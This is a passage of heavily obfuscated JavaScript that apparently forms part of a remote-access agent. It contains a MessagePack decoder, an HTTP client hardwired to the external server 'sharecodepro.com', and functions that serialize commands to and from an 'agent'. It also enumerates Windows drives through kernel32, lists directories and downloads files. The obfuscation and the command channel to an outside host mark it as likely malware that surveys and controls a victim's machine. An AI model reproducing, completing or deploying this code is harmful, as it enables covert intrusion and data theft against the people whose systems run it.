const _0x302a2 = this["lookU16"]();
_0x155 = this["decodeString"](_0x302a2, 2);
} else {
if (_0x64e41 === 219) {
const _0x99524e3 = this["lookU32"]();
_0x155 = this["decodeString"](_0x99524e3, 4);
} else {
if (_0x64e41 === 220) {
const _0x36b4ef4 = this["readU16"]();
if (_0x36b4ef4 !== 0) {
this["pushArrayState"](_0x36b4ef4), this["complete"]();
continue _0x1b39bc;
} else _0x155 = [];
} else {
if (_0x64e41 === 221) {
const _0x100e3 = this["readU32"]();
if (_0x100e3 !== 0) {
this["pushArrayState"](_0x100e3), this["complete"]();
continue _0x1b39bc;
} else _0x155 = [];
} else {
if (_0x64e41 === 222) {
const _0x142bbf4 = this["readU16"]();
if (_0x142bbf4 !== 0) {
this["pushMapState"](_0x142bbf4), this["complete"]();
continue _0x1b39bc;
} else _0x155 = {};
} else {
if (_0x64e41 === 223) {
const _0x46ab5e4 = this["readU32"]();
if (_0x46ab5e4 !== 0) {
this["pushMapState"](_0x46ab5e4), this["complete"]();
continue _0x1b39bc;
} else _0x155 = {};
} else {
if (_0x64e41 === 196) {
const _0x1c2 = this["lookU8"]();
_0x155 = this["decodeBinary"](_0x1c2, 1);
} else {
if (_0x64e41 === 197) {
const _0xdda2 = this["lookU16"]();
_0x155 = this["decodeBinary"](_0xdda2, 2);
} else {
if (_0x64e41 === 198) {
const _0x49c2 = this["lookU32"]();
_0x155 = this["decodeBinary"](_0x49c2, 4);
} else {
if (_0x64e41 === 212) _0x155 = this["decodeExtension"](1, 0);
else {
if (_0x64e41 === 213) _0x155 = this["decodeExtension"](2, 0);
else {
if (_0x64e41 === 214) _0x155 = this["decodeExtension"](4, 0);
else {
if (_0x64e41 === 215) _0x155 = this["decodeExtension"](8, 0);
else {
if (_0x64e41 === 216) _0x155 = this["decodeExtension"](16, 0);
else {
if (_0x64e41 === 199) {
const _0x37a3bb3 = this["lookU8"]();
_0x155 = this["decodeExtension"](_0x37a3bb3, 1);
} else {
if (_0x64e41 === 200) {
const _0x1f37de3 = this["lookU16"]();
_0x155 = this["decodeExtension"](_0x1f37de3, 2);
} else {
if (_0x64e41 === 201) {
const _0x313c2 = this["lookU32"]();
_0x155 = this["decodeExtension"](_0x313c2, 4);
} else throw new DecodeError("Unrecognized type byte: " + prettyByte(_0x64e41));
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
this["complete"]();
const _0x1000e5 = this["stack"];
while (_0x1000e5["length"] > 0) {
const _0x1c720f20 = _0x1000e5["top"]();
if (_0x1c720f20["type"] === STATE_ARRAY) {
_0x1c720f20["array"][_0x1c720f20["position"]] = _0x155, _0x1c720f20["position"]++;
if (_0x1c720f20["position"] === _0x1c720f20["size"]) _0x155 = _0x1c720f20["array"], _0x1000e5["release"](_0x1c720f20);
else continue _0x1b39bc;
} else {
if (_0x1c720f20["type"] === STATE_MAP_KEY) {
if (_0x155 === "__proto__") throw new DecodeError("The key __proto__ is not allowed");
_0x1c720f20["key"] = this["mapKeyConverter"](_0x155), _0x1c720f20["type"] = STATE_MAP_VALUE;
continue _0x1b39bc;
} else {
_0x1c720f20["map"][_0x1c720f20["key"]] = _0x155, _0x1c720f20["readCount"]++;
if (_0x1c720f20["readCount"] === _0x1c720f20["size"]) _0x155 = _0x1c720f20["map"], _0x1000e5["release"](_0x1c720f20);
else {
_0x1c720f20["key"] = null, _0x1c720f20["type"] = STATE_MAP_KEY;
continue _0x1b39bc;
}
}
}
}
return _0x155;
}
}
["readHeadByte"]() {
const _0x3b84b = potato;
return this["headByte"] === HEAD_BYTE_REQUIRED && (this["headByte"] = this["readU8"]()), this["headByte"];
}
["complete"]() {
const _0x5d91bb2 = potato;
this["headByte"] = HEAD_BYTE_REQUIRED;
}
["readArraySize"]() {
const _0x5d38d = potato,
_0x1c277d6 = this["readHeadByte"]();
switch (_0x1c277d6) {
case 220:
return this["readU16"]();
case 221:
return this["readU32"]();
default: {
if (_0x1c277d6 < 160) return _0x1c277d6 - 144;
else throw new DecodeError("Unrecognized array type byte: " + prettyByte(_0x1c277d6));
}
}
}
["pushMapState"](_0x185d4) {
const _0x15bb5e2 = potato;
if (_0x185d4 > this["maxMapLength"]) throw new DecodeError("Max length exceeded: map length (" + _0x185d4 + ") > maxMapLengthLength (" + this["maxMapLength"] + ")");
this["stack"]["pushMapState"](_0x185d4);
}
["pushArrayState"](_0x46b4) {
const _0x3e6cd = potato;
if (_0x46b4 > this["maxArrayLength"]) throw new DecodeError("Max length exceeded: array length (" + _0x46b4 + ") > maxArrayLength (" + this["maxArrayLength"] + ")");
this["stack"]["pushArrayState"](_0x46b4);
}
["decodeString"](_0x592c3, _0x33b4fd4) {
const _0x156 = potato;
if (!this["rawStrings"] || this["stateIsMapKey"]()) return this["decodeUtf8String"](_0x592c3, _0x33b4fd4);
return this["decodeBinary"](_0x592c3, _0x33b4fd4);
}
["decodeUtf8String"](_0x1c0, _0x1be4) {
const _0x2e = potato;
if (_0x1c0 > this["maxStrLength"]) throw new DecodeError("Max length exceeded: UTF-8 byte length (" + _0x1c0 + ") > maxStrLength (" + this["maxStrLength"] + ")");
if (this["bytes"]["byteLength"] < this["pos"] + _0x1be4 + _0x1c0) throw MORE_DATA;
const _0x35e3 = this["pos"] + _0x1be4;
let _0x3911fa5;
return this["stateIsMapKey"]() && this["keyDecoder"]?. ["canBeCached"](_0x1c0) ? _0x3911fa5 = this["keyDecoder"]["decode"](this["bytes"], _0x35e3, _0x1c0) : _0x3911fa5 = utf8Decode(this["bytes"], _0x35e3, _0x1c0), this["pos"] += _0x1be4 + _0x1c0, _0x3911fa5;
}
["stateIsMapKey"]() {
const _0x20eb = potato;
if (this["stack"]["length"] > 0) {
const _0x2883ab3 = this["stack"]["top"]();
return _0x2883ab3["type"] === STATE_MAP_KEY;
}
return ![];
}
["decodeBinary"](_0x4c0c2d7, _0x161) {
const _0x1c1 = potato;
if (_0x4c0c2d7 > this["maxBinLength"]) throw new DecodeError("Max length exceeded: bin length (" + _0x4c0c2d7 + ") > maxBinLength (" + this["maxBinLength"] + ")");
if (!this["hasRemaining"](_0x4c0c2d7 + _0x161)) throw MORE_DATA;
const _0x2e4 = this["pos"] + _0x161,
_0x162 = this["bytes"]["subarray"](_0x2e4, _0x2e4 + _0x4c0c2d7);
return this["pos"] += _0x161 + _0x4c0c2d7, _0x162;
}
["decodeExtension"](_0x4de04a5, _0xc087cc4) {
const _0xc02a = potato;
if (_0x4de04a5 > this["maxExtLength"]) throw new DecodeError("Max length exceeded: ext length (" + _0x4de04a5 + ") > maxExtLength (" + this["maxExtLength"] + ")");
const _0x4fe1a2 = this["view"]["getInt8"](this["pos"] + _0xc087cc4),
_0x164 = this["decodeBinary"](_0x4de04a5, _0xc087cc4 + 1);
return this["extensionCodec"]["decode"](_0x164, _0x4fe1a2, this["context"]);
}
["lookU8"]() {
return this["view"]["getUint8"](this["pos"]);
}
["lookU16"]() {
const _0x56bd = potato;
return this["view"]["getUint16"](this["pos"]);
}
["lookU32"]() {
const _0x42a17f2 = potato;
return this["view"]["getUint32"](this["pos"]);
}
["readU8"]() {
const _0x1a752d2 = potato,
_0x5151f2 = this["view"]["getUint8"](this["pos"]);
return this["pos"]++, _0x5151f2;
}
["readI8"]() {
const _0x5a9cea2 = potato,
_0x2d2 = this["view"]["getInt8"](this["pos"]);
return this["pos"]++, _0x2d2;
}
["readU16"]() {
const _0x165 = potato,
_0x506a9a3 = this["view"]["getUint16"](this["pos"]);
return this["pos"] += 2, _0x506a9a3;
}
["readI16"]() {
const _0x4b9 = potato,
_0x126a8f3 = this["view"]["getInt16"](this["pos"]);
return this["pos"] += 2, _0x126a8f3;
}
["readU32"]() {
const _0xd89e7e2 = potato,
_0x564adf3 = this["view"]["getUint32"](this["pos"]);
return this["pos"] += 4, _0x564adf3;
}
["readI32"]() {
const _0x166 = potato,
_0x14753a3 = this["view"]["getInt32"](this["pos"]);
return this["pos"] += 4, _0x14753a3;
}
["readU64"]() {
const _0x5130cf2 = potato,
_0x3eb30d3 = getUint64(this["view"], this["pos"]);
return this["pos"] += 8, _0x3eb30d3;
}
["readI64"]() {
const _0x5f383c2 = potato,
_0x47dbc2 = getInt64(this["view"], this["pos"]);
return this["pos"] += 8, _0x47dbc2;
}
["readU64AsBigInt"]() {
const _0x45e11d2 = potato,
_0x46fe1e3 = this["view"]["getBigUint64"](this["pos"]);
return this["pos"] += 8, _0x46fe1e3;
}
["readI64AsBigInt"]() {
const _0x20c8a = potato,
_0x5125b2 = this["view"]["getBigInt64"](this["pos"]);
return this["pos"] += 8, _0x5125b2;
}
["readF32"]() {
const _0x3ac = potato,
_0x37a7e2 = this["view"]["getFloat32"](this["pos"]);
return this["pos"] += 4, _0x37a7e2;
}
["readF64"]() {
const _0x570f1c2 = potato,
_0x72a75e3 = this["view"]["getFloat64"](this["pos"]);
return this["pos"] += 8, _0x72a75e3;
}
};
function decode(_0x168, _0x3d2) {
const _0x5818e = potato,
_0x49dec2 = new Decoder(_0x3d2);
return _0x49dec2["decode"](_0x168);
}
var import_node_buffer = require("node:buffer"),
import_node_zlib = __toESM(require("node:zlib"));
async function serizalizeCommandFromAgent(_0x2bbf2) {
const _0x89c = potato,
_0x5a2 = await encode(_0x2bbf2),
_0x46e03d3 = await new Promise((_0x43f2, _0x22992e3) => {
import_node_zlib["default"]["deflate"](_0x5a2, (_0x5985d4, _0x3e5) => {
_0x5985d4 && _0x22992e3(_0x5985d4), _0x43f2(_0x3e5);
});
});
return import_node_buffer["Buffer"]["from"](_0x46e03d3);
}
async function deserializeCommandToAgent(_0x1247c2) {
const _0x88b7d2 = await new Promise((_0x170, _0x2b378d3) => {
const _0x3aaa8d2 = perpetual;
import_node_zlib["default"]["inflate"](_0x1247c2, (_0x99dd3, _0xfbe2) => {
_0x99dd3 && _0x2b378d3(_0x99dd3), _0x170(_0xfbe2);
});
}),
_0x12c0b2 = await decode(_0x88b7d2);
return _0x12c0b2;
}
var _serialize = (_0x4aeca4, _0x3e3dc2, _0x5eb26 = {}) => {
const _0x5078cf2 = potato;
let _0x5ece1 = _0x4aeca4 + "=" + _0x3e3dc2;
if (_0x4aeca4["startsWith"]("__Secure-") && !_0x5eb26["secure"]) throw new Error("__Secure- Cookie must have Secure attributes");
if (_0x4aeca4["startsWith"]("__Host-")) {
if (!_0x5eb26["secure"]) throw new Error("__Host- Cookie must have Secure attributes");
if (_0x5eb26["path"] !== "/") throw new Error("__Host- Cookie must have Path attributes with \"/\"");
if (_0x5eb26["domain"]) throw new Error("__Host- Cookie must not have Domain attributes");
}
if (_0x5eb26 && typeof _0x5eb26["maxAge"] === "number" && _0x5eb26["maxAge"] >= 0) {
if (_0x5eb26["maxAge"] > 34560000) throw new Error("Cookies Max-Age SHOULD NOT be greater than 400 days (34560000 seconds) in duration.");
_0x5ece1 += "; Max-Age=" + (_0x5eb26["maxAge"] | 0);
}
_0x5eb26["domain"] && _0x5eb26["prefix"] !== "host" && (_0x5ece1 += "; Domain=" + _0x5eb26["domain"]);
_0x5eb26["path"] && (_0x5ece1 += "; Path=" + _0x5eb26["path"]);
if (_0x5eb26["expires"]) {
if (_0x5eb26["expires"]["getTime"]() - Date["now"]() > 34560000000) throw new Error("Cookies Expires SHOULD NOT be greater than 400 days (34560000 seconds) in the future.");
_0x5ece1 += "; Expires=" + _0x5eb26["expires"]["toUTCString"]();
}
_0x5eb26["httpOnly"] && (_0x5ece1 += "; HttpOnly");
_0x5eb26["secure"] && (_0x5ece1 += "; Secure");
_0x5eb26["sameSite"] && (_0x5ece1 += "; SameSite=" + (_0x5eb26["sameSite"]["charAt"](0)["toUpperCase"]() + _0x5eb26["sameSite"]["slice"](1)));
_0x5eb26["priority"] && (_0x5ece1 += "; Priority=" + (_0x5eb26["priority"]["charAt"](0)["toUpperCase"]() + _0x5eb26["priority"]["slice"](1)));
if (_0x5eb26["partitioned"]) {
if (!_0x5eb26["secure"]) throw new Error("Partitioned Cookie must have Secure attributes");
_0x5ece1 += "; Partitioned";
}
return _0x5ece1;
},
serialize = (_0x3571e2, _0x174, _0xea0ef2) => {
return _0x174 = encodeURIComponent(_0x174), _serialize(_0x3571e2, _0x174, _0xea0ef2);
},
mergePath = (_0x4bdd6, _0x158c4) => {
const _0x4cc = potato;
return _0x4bdd6 = _0x4bdd6["replace"](/\/+$/, ""), _0x4bdd6 = _0x4bdd6 + "/", _0x158c4 = _0x158c4["replace"](/^\/+/, ""), _0x4bdd6 + _0x158c4;
},
replaceUrlParam = (_0x1a95fd5, _0x52e0ea3) => {
const _0x1c10 = potato;
for (const [_0x197af3, _0x47a3] of Object["entries"](_0x52e0ea3)) {
const _0x580add3 = new RegExp("/:" + _0x197af3 + "(?:{[^/]+})?\\??");
_0x1a95fd5 = _0x1a95fd5["replace"](_0x580add3, _0x47a3 ? "/" + _0x47a3 : "");
}
return _0x1a95fd5;
},
buildSearchParams = _0x51ba3d3 => {
const _0x175 = potato,
_0x4cfe4 = new URLSearchParams();
for (const [_0x42d3, _0x1f43ba6] of Object["entries"](_0x51ba3d3)) {
if (_0x1f43ba6 === void 0) continue;
if (Array["isArray"](_0x1f43ba6))
for (const _0xeaa7e2 of _0x1f43ba6) {
_0x4cfe4["append"](_0x42d3, _0xeaa7e2);
} else _0x4cfe4["set"](_0x42d3, _0x1f43ba6);
}
return _0x4cfe4;
},
replaceUrlProtocol = (_0x357e2f4, _0x3f2) => {
const _0x5af = potato;
switch (_0x3f2) {
case "ws":
return _0x357e2f4["replace"](/^http/, "ws");
case "http":
return _0x357e2f4["replace"](/^ws/, "http");
}
},
removeIndexString = _0x53f86f5 => {
const _0x1d89d = potato;
if (/^https?:\/\/[^\/]+?\/index(?=\?|$)/ ["test"](_0x53f86f5)) return _0x53f86f5["replace"](/\/index(?=\?|$)/, "/");
return _0x53f86f5["replace"](/\/index(?=\?|$)/, "");
};
function isObject(_0x52795e5) {
return typeof _0x52795e5 === "object" && _0x52795e5 !== null && !Array["isArray"](_0x52795e5);
}
function deepMerge(_0x178, _0x3dec2b6) {
if (!isObject(_0x178) && !isObject(_0x3dec2b6)) return _0x3dec2b6;
const _0x36c6c7 = {
..._0x178
};
for (const _0x1240ea7 in _0x3dec2b6) {
const _0x5c44ac5 = _0x3dec2b6[_0x1240ea7];
isObject(_0x36c6c7[_0x1240ea7]) && isObject(_0x5c44ac5) ? _0x36c6c7[_0x1240ea7] = deepMerge(_0x36c6c7[_0x1240ea7], _0x5c44ac5) : _0x36c6c7[_0x1240ea7] = _0x5c44ac5;
}
return _0x36c6c7;
}
var createProxy = (_0xd92b3, _0x5c234d4) => {
const _0x10d58e3 = new Proxy(() => {}, {
"get"(_0x1c09c, _0x557ed5) {
const _0x3b425e2 = perpetual;
if (typeof _0x557ed5 !== "string" || _0x557ed5 === "then") return void 0;
return createProxy(_0xd92b3, [..._0x5c234d4, _0x557ed5]);
},
"apply"(_0x4891ce2, _0x31cafd2, _0x3dae2) {
return _0xd92b3({
"path": _0x5c234d4,
"args": _0x3dae2
});
}
});
return _0x10d58e3;
},
ClientRequestImpl = class {
["url"];
["method"];
["buildSearchParams"];
["queryParams"] = void 0;
["pathParams"] = {};
["rBody"];
["cType"] = void 0;
constructor(_0x2db4f3, _0x3c503f3, _0xea2acd3) {
const _0x2c4d = potato;
this["url"] = _0x2db4f3, this["method"] = _0x3c503f3, this["buildSearchParams"] = _0xea2acd3["buildSearchParams"];
}
["fetch"] = async (_0x2c15, _0x2dd4b7) => {
const _0x6db = potato;
if (_0x2c15) {
_0x2c15["query"] && (this["queryParams"] = this["buildSearchParams"](_0x2c15["query"]));
if (_0x2c15["form"]) {
const _0x5437a5 = new FormData();
for (const [_0x36dcef4, _0x48bc4] of Object["entries"](_0x2c15["form"])) {
if (Array["isArray"](_0x48bc4))
for (const _0x5a3abc3 of _0x48bc4) {
_0x5437a5["append"](_0x36dcef4, _0x5a3abc3);
} else _0x5437a5["append"](_0x36dcef4, _0x48bc4);
}
this["rBody"] = _0x5437a5;
}
_0x2c15["json"] && (this["rBody"] = JSON["stringify"](_0x2c15["json"]), this["cType"] = "application/json"), _0x2c15["param"] && (this["pathParams"] = _0x2c15["param"]);
}
let _0x3014fe6 = this["method"]["toUpperCase"]();
const _0x1678ca5 = {
..._0x2c15?. ["header"],
...(typeof _0x2dd4b7?. ["headers"] === "function" ? await _0x2dd4b7["headers"]() : _0x2dd4b7?. ["headers"])
};
if (_0x2c15?. ["cookie"]) {
const _0x44d3 = [];
for (const [_0xad74e2, _0x1e2] of Object["entries"](_0x2c15["cookie"])) {
_0x44d3["push"](serialize(_0xad74e2, _0x1e2, {
"path": "/"
}));
}
_0x1678ca5["Cookie"] = _0x44d3["join"](",");
}
this["cType"] && (_0x1678ca5["Content-Type"] = this["cType"]);
const _0x27e2 = new Headers(_0x1678ca5 ?? void 0);
let _0x52365b9 = this["url"];
_0x52365b9 = removeIndexString(_0x52365b9), _0x52365b9 = replaceUrlParam(_0x52365b9, this["pathParams"]);
this["queryParams"] && (_0x52365b9 = _0x52365b9 + "?" + this["queryParams"]["toString"]());
_0x3014fe6 = this["method"]["toUpperCase"]();
const _0xab5aea3 = !(_0x3014fe6 === "GET" || _0x3014fe6 === "HEAD");
return (_0x2dd4b7?. ["fetch"] || fetch)(_0x52365b9, {
"body": _0xab5aea3 ? this["rBody"] : void 0,
"method": _0x3014fe6,
"headers": _0x27e2,
..._0x2dd4b7?. ["init"]
});
};
},
hc = (_0x37df4b3, _0x2854a8) => createProxy(function _0x3256d4(_0x4f9bd12) {
const _0x4022df4 = potato,
_0x2d57a3 = _0x2854a8?. ["buildSearchParams"] ?? buildSearchParams,
_0x5a6 = [..._0x4f9bd12["path"]],
_0x186 = _0x5a6["slice"](-3)["reverse"]();
if (_0x186[0] === "toString") {
if (_0x186[1] === "name") return _0x186[2] || "";
return _0x3256d4["toString"]();
}
if (_0x186[0] === "valueOf") {
if (_0x186[1] === "name") return _0x186[2] || "";
return _0x3256d4;
}
let _0x494e5e7 = "";
if (/^\$/ ["test"](_0x186[0])) {
const _0x3b1c3 = _0x5a6["pop"]();
_0x3b1c3 && (_0x494e5e7 = _0x3b1c3["replace"](/^\$/, ""));
}
const _0x38582a3 = _0x5a6["join"]("/"),
_0x5e87bb7 = mergePath(_0x37df4b3, _0x38582a3);
if (_0x494e5e7 === "url") {
let _0x5c7 = _0x5e87bb7;
return _0x4f9bd12["args"][0] && (_0x4f9bd12["args"][0]["param"] && (_0x5c7 = replaceUrlParam(_0x5e87bb7, _0x4f9bd12["args"][0]["param"])), _0x4f9bd12["args"][0]["query"] && (_0x5c7 = _0x5c7 + "?" + _0x2d57a3(_0x4f9bd12["args"][0]["query"])["toString"]())), _0x5c7 = removeIndexString(_0x5c7), new URL(_0x5c7);
}
if (_0x494e5e7 === "ws") {
const _0x5ae28c3 = replaceUrlProtocol(_0x4f9bd12["args"][0] && _0x4f9bd12["args"][0]["param"] ? replaceUrlParam(_0x5e87bb7, _0x4f9bd12["args"][0]["param"]) : _0x5e87bb7, "ws"),
_0x4428e4 = new URL(_0x5ae28c3),
_0x30a3a3 = _0x4f9bd12["args"][0]?. ["query"];
_0x30a3a3 && Object["entries"](_0x30a3a3)["forEach"](([_0xff63ef4, _0x14a5c4]) => {
const _0x187 = _0x4022df4;
Array["isArray"](_0x14a5c4) ? _0x14a5c4["forEach"](_0x1a6de2 => _0x4428e4["searchParams"]["append"](_0xff63ef4, _0x1a6de2)) : _0x4428e4["searchParams"]["set"](_0xff63ef4, _0x14a5c4);
});
const _0x2252e2 = (..._0x31be2d4) => {
const _0x2599e = _0x4022df4;
if (_0x2854a8?. ["webSocket"] !== void 0 && typeof _0x2854a8["webSocket"] === "function") return _0x2854a8["webSocket"](..._0x31be2d4);
return new WebSocket(..._0x31be2d4);
};
return _0x2252e2(_0x4428e4["toString"]());
}
const _0x25bb9d4 = new ClientRequestImpl(_0x5e87bb7, _0x494e5e7, {
"buildSearchParams": _0x2d57a3
});
if (_0x494e5e7) {
_0x2854a8 ??= {};
const _0x1d6a8d3 = deepMerge(_0x2854a8, {
..._0x4f9bd12["args"][1]
});
return _0x25bb9d4["fetch"](_0x4f9bd12["args"][0], _0x1d6a8d3);
}
return _0x25bb9d4;
}, []);
async function pingUrl(_0x104e2c8, _0x2b2 = 2000) {
const _0x46a5 = potato;
try {
console["log"]("Pinging " + _0x104e2c8 + "...");
const _0x4ebc3 = new AbortController(),
_0x4bf2 = setTimeout(() => {
const _0x4654d = _0x46a5;
console["log"]("Timeout reached for " + _0x104e2c8 + ", aborting..."), _0x4ebc3["abort"]();
}, _0x2b2);
console["log"]("Fetching " + _0x104e2c8 + "/health...");
const _0x2d1d6e4 = await fetch(_0x104e2c8 + "/health", {
"method": "GET",
"signal": _0x4ebc3["signal"]
});
return clearTimeout(_0x4bf2), console["log"]("Got response from " + _0x104e2c8 + ": " + _0x2d1d6e4["status"]), _0x2d1d6e4["ok"];
} catch (_0x3fd4c2) {
return console["error"]("Failed to ping " + _0x104e2c8 + ":", _0x3fd4c2), ![];
}
}
async function findWorkingApiUrl(_0x1d1e4) {
const _0xd2 = potato;
console["log"]("Testing " + _0x1d1e4["length"] + " API URLs in parallel...");
const _0x191 = _0x1d1e4["map"](async _0x19e5 => {
const _0x5dd = _0xd2,
_0xf6 = await pingUrl(_0x19e5);
console["log"](_0x19e5 + ": " + (_0xf6 ? "\xE2\u0153\u201C working" : "\xE2\u0153\u2014 failed"));
if (_0xf6) return _0x19e5;
throw new Error(_0x19e5 + " not working");
});
try {
const _0x554d3 = await Promise["race"](_0x191);
return console["log"]("Selected first working API URL: " + _0x554d3), _0x554d3;
} catch {
console["log"]("No immediate response, waiting for all URLs...");
const _0x192 = await Promise["allSettled"](_0x191),
_0x2fbcf5 = _0x192["find"](_0x562a2 => _0x562a2["status"] === "fulfilled");
if (_0x2fbcf5) return console["log"]("Selected working API URL: " + _0x2fbcf5["value"]), _0x2fbcf5["value"];
return console["warn"]("No working API URLs found, using first URL as fallback"), _0x1d1e4[0];
}
}
var clientInstance = null,
selectedApiUrl = null;
async function initializeClient() {
const _0x1e611c2 = potato;
console["log"]("Finding working API URL from:", "http://sharecodepro.com");
const _0x2814b2 = "http://sharecodepro.com" ["split"](",")["map"](_0xfb2 => _0xfb2["trim"]()),
_0x32e4 = await findWorkingApiUrl(_0x2814b2);
console["log"]("Creating client instance for:", _0x32e4), selectedApiUrl = _0x32e4, clientInstance = hc(_0x32e4, {}), console["log"]("Client instance created successfully");
}
function getSelectedApiUrl() {
const _0x4c33d = potato;
if (!selectedApiUrl) throw new Error("Client not initialized. Call initializeClient() first.");
return selectedApiUrl;
}
var client = new Proxy({}, {
"get"(_0x4f8b, _0x34f0e2) {
const _0x587fa = potato;
if (!clientInstance) throw new Error("Client not initialized. Call initializeClient() first.");
return clientInstance[_0x34f0e2];
}
}),
import_node_fs = __toESM(require("node:fs")),
import_node_path = __toESM(require("node:path")),
import_node_stream = require("node:stream"),
import_promises = require("node:stream/promises"),
DRIVE_UNKNOWN = 0,
DRIVE_NO_ROOT_DIR = 1,
DRIVE_REMOVABLE = 2,
DRIVE_FIXED = 3,
DRIVE_REMOTE = 4,
DRIVE_CDROM = 5,
DRIVE_RAMDISK = 6,
driveTypeNames = {
[DRIVE_UNKNOWN]: "Unknown",
[DRIVE_NO_ROOT_DIR]: "No Root Directory",
[DRIVE_REMOVABLE]: "Removable",
[DRIVE_FIXED]: "Local",
[DRIVE_REMOTE]: "Network",
[DRIVE_CDROM]: "CD-ROM",
[DRIVE_RAMDISK]: "RAM"
},
kernel32 = null;
function getKernel32() {
const _0x484ad = potato;
return !kernel32 && (kernel32 = Deno["dlopen"]("kernel32.dll", {
"GetLogicalDrives": {
"parameters": [],
"result": "u32"
},
"GetDriveTypeW": {
"parameters": ["buffer"],
"result": "u32"
},
"GetDiskFreeSpaceExW": {
"parameters": ["buffer", "buffer", "buffer", "buffer"],
"result": "i32"
},
"GetVolumeInformationW": {
"parameters": ["buffer", "buffer", "u32", "buffer", "buffer", "buffer", "buffer", "u32"],
"result": "i32"
}
})), kernel32;
}
function toWideString(_0x3d28e5) {
const _0x13c = potato,
_0x35c2 = new TextEncoder(),
_0x2ee0a2 = _0x35c2["encode"](_0x3d28e5),
_0x632cb4 = new Uint8Array((_0x2ee0a2["length"] + 1) * 2);
for (let _0xe6 = 0; _0xe6 < _0x3d28e5["length"]; _0xe6++) {
const _0x28fb4b4 = _0x3d28e5["charCodeAt"](_0xe6);
_0x632cb4[_0xe6 * 2] = _0x28fb4b4 & 255, _0x632cb4[_0xe6 * 2 + 1] = _0x28fb4b4 >> 8 & 255;
}
return _0x632cb4;
}
function fromWideString(_0x439c9a5) {
const _0x5ebc = potato;
let _0x5db08d4 = "";
for (let _0x5e500b6 = 0; _0x5e500b6 < _0x439c9a5["length"] - 1; _0x5e500b6 += 2) {
const _0xdaa7e3 = _0x439c9a5[_0x5e500b6] | _0x439c9a5[_0x5e500b6 + 1] << 8;
if (_0xdaa7e3 === 0) break;
_0x5db08d4 += String["fromCharCode"](_0xdaa7e3);
}
return _0x5db08d4;
}
function readBigUint64LE(_0x195) {
const _0x5dc11c2 = potato,
_0x2a99ff3 = new DataView(_0x195["buffer"], _0x195["byteOffset"], 8);
return _0x2a99ff3["getBigUint64"](0, !![]);
}
function listDrives() {
const _0xb = potato;
try {
const _0x51cb5 = getKernel32(),
_0x5a2fb3 = _0x51cb5["symbols"]["GetLogicalDrives"]();
if (_0x5a2fb3 === 0) return {
"drives": [],
"error": "GetLogicalDrives failed"
};
const _0x2dfeed4 = [];
for (let _0x35b77d6 = 0; _0x35b77d6 < 26; _0x35b77d6++) {
if ((_0x5a2fb3 & 1 << _0x35b77d6) === 0) continue;
const _0x202cbc4 = String["fromCharCode"](65 + _0x35b77d6),
_0x197 = _0x202cbc4 + ":\\",
_0x1e48c4 = toWideString(_0x197),
_0x27b6d4 = _0x51cb5["symbols"]["GetDriveTypeW"](_0x1e48c4);
if (_0x27b6d4 === DRIVE_UNKNOWN || _0x27b6d4 === DRIVE_NO_ROOT_DIR) continue;
let _0xbbadd4 = "",
_0x148e3,
_0x10d6a3,
_0x49b4f3 = !![];
try {
const _0x2a053f4 = new Uint8Array(520),
_0x4552d2 = new Uint8Array(4),
_0x3baebd3 = new Uint8Array(4),
_0x99745d3 = new Uint8Array(4),
_0x1adffe3 = new Uint8Array(520),
_0x9a2f6a3 = _0x51cb5["symbols"]["GetVolumeInformationW"](_0x1e48c4, _0x2a053f4, 260, _0x4552d2, _0x3baebd3, _0x99745d3, _0x1adffe3, 260);
_0x9a2f6a3 !== 0 && (_0xbbadd4 = fromWideString(_0x2a053f4));
} catch {
_0x49b4f3 = ![];
}
try {
const _0x20ccc2 = new Uint8Array(8),
_0x4639b3 = new Uint8Array(8),
_0x5bfb3 = new Uint8Array(8),
_0x85e0f2 = _0x51cb5["symbols"]["GetDiskFreeSpaceExW"](_0x1e48c4, _0x20ccc2, _0x4639b3, _0x5bfb3);
_0x85e0f2 !== 0 && (_0x148e3 = Number(readBigUint64LE(_0x4639b3)), _0x10d6a3 = Number(readBigUint64LE(_0x5bfb3)));
} catch {}
_0x2dfeed4["push"]({
"letter": _0x202cbc4 + ":",
"label": _0xbbadd4,
"type": driveTypeNames[_0x27b6d4] || "Local",
"totalSize": _0x148e3,
"freeSize": _0x10d6a3,
"isReady": _0x49b4f3
});
}
return {
"drives": _0x2dfeed4
};
} catch (_0x11b38b4) {
return {
"drives": [],
"error": _0x11b38b4 instanceof Error ? _0x11b38b4["message"] : "Unknown error"
};
}
}
function listFiles(_0x1cbdb8) {
const _0x19f2d2 = potato;
try {
const _0xb96e1e3 = import_node_fs["default"]["statSync"](_0x1cbdb8);
if (!_0xb96e1e3["isDirectory"]()) return {
"path": _0x1cbdb8,
"items": [],
"error": "Path is not a directory"
};
const _0x3753ed3 = import_node_fs["default"]["readdirSync"](_0x1cbdb8)["map"](_0x540a4 => {
const _0xa6e = _0x19f2d2,
_0x51ef1c5 = import_node_path["default"]["join"](_0x1cbdb8, _0x540a4);
try {
const _0x2a1bae7 = import_node_fs["default"]["statSync"](_0x51ef1c5);
return {
"name": _0x540a4,
"path": _0x51ef1c5,
"type": _0x2a1bae7["isDirectory"]() ? "directory" : "file",
"size": _0x2a1bae7["isFile"]() ? _0x2a1bae7["size"] : void 0,
"modified": _0x2a1bae7["mtime"]["toISOString"](),
"attributes": _0x2a1bae7["isDirectory"]() ? "Directory" : "File"
};
} catch (_0x270eb) {
return {
"name": _0x540a4,
"path": _0x51ef1c5,
"type": "file",
"size": void 0,
"modified": void 0,
"attributes": "Unknown"
};
}
});
return {
"path": _0x1cbdb8,
"items": _0x3753ed3
};
} catch (_0x200) {
return {
"path": _0x1cbdb8,
"items": [],
"error": _0x200 instanceof Error ? _0x200["message"] : "Unknown error"
};
}
}
async function downloadFile(_0x5df1e2, _0x31ce0) {
const _0x11db = potato,
_0x4d552d8 = await fetch(_0x5df1e2);
if (!_0x4d552d8["ok"]) throw new Error("Failed to download file: " + _0x4d552d8["status"] + " " + _0x4d552d8["statusText"]);
if (!_0x4d552d8["body"]) throw new Error("Response body is empty");
try {
const _0x17334f4 = _0x4d552d8["headers"]["get"]("content-disposition");
if (_0x17334f4) {
const _0x26a1c4 = /filename\s*=\s*"?([^";]+)"?/i ["exec"](_0x17334f4);
if (_0x26a1c4 && _0x26a1c4[1]) {
const _0xc8ebb2 = _0x26a1c4[1],
_0x16c6a3 = _0xc8ebb2["replace"](/[\\/]/g, "_"),
_0x25b2 = _0x31ce0["endsWith"](import_node_path["default"]["sep"]) || import_node_path["default"]["extname"](_0x31ce0) === "";
